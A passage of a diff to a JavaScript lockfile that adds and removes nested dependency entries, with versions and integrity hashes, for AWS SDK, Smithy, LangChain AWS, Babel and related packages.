+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
+
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -8491,10 +8165,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8503,8 +8183,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -8525,6 +8209,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -8533,10 +8219,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
